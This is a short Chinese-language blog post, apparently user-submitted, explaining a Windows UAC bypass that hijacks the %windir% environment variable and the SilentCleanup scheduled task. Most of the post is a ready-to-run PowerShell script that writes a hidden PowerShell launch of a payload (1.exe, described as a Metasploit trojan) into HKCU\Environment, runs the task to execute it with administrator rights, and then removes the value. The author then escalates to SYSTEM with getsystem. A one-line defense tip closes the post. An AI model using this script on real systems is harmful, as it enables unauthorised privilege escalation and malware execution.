修改%windir%配合计划任务实现bypassuac

前言

查msf报错的时候偶然看到这篇文章,于是做了实验并进行记录。

原理

\Microsoft\Windows\DiskCleanup\SilentCleanup是windows中有一个系统默认的计划任务,它的内容是以administrator权限执行cmd /c %windir%\System32\cleanmgr.exe。而注册表可以修改环境变了%windir%,可以将其修改为powershell -ep bypass -w h 1.exe ;#来利用powershell以administrator权限执行恶意文件1.exe。;#可以截断后面的\System32\cleanmgr.exe。

实现

修改并执行powershell脚本bypassuac.ps1:

if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {echo 123
} else {$registryPath = "HKCU:\Environment"$Name = "windir"$Value = "powershell -ExecutionPolicy bypass -WindowStyle hidden C:\Users\lisi\Desktop\1.exe ;#\System32\cleanmgr.exe"Set-ItemProperty -Path $registryPath -Name $name -Value $Valueschtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-NullRemove-ItemProperty -Path $registryPath -Name $name
}

执行完后,1.exe将会以administrator权限执行。我的1.exe文件是msf的木马,如果其以administrator权限执行则可以执行getsystem命令来提权到system,结果如下:
在这里插入图片描述

防御方法

监控对注册表环境变量属性的更改,检测powershell命令。

参考文章

Powershell real UAC Bypass


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部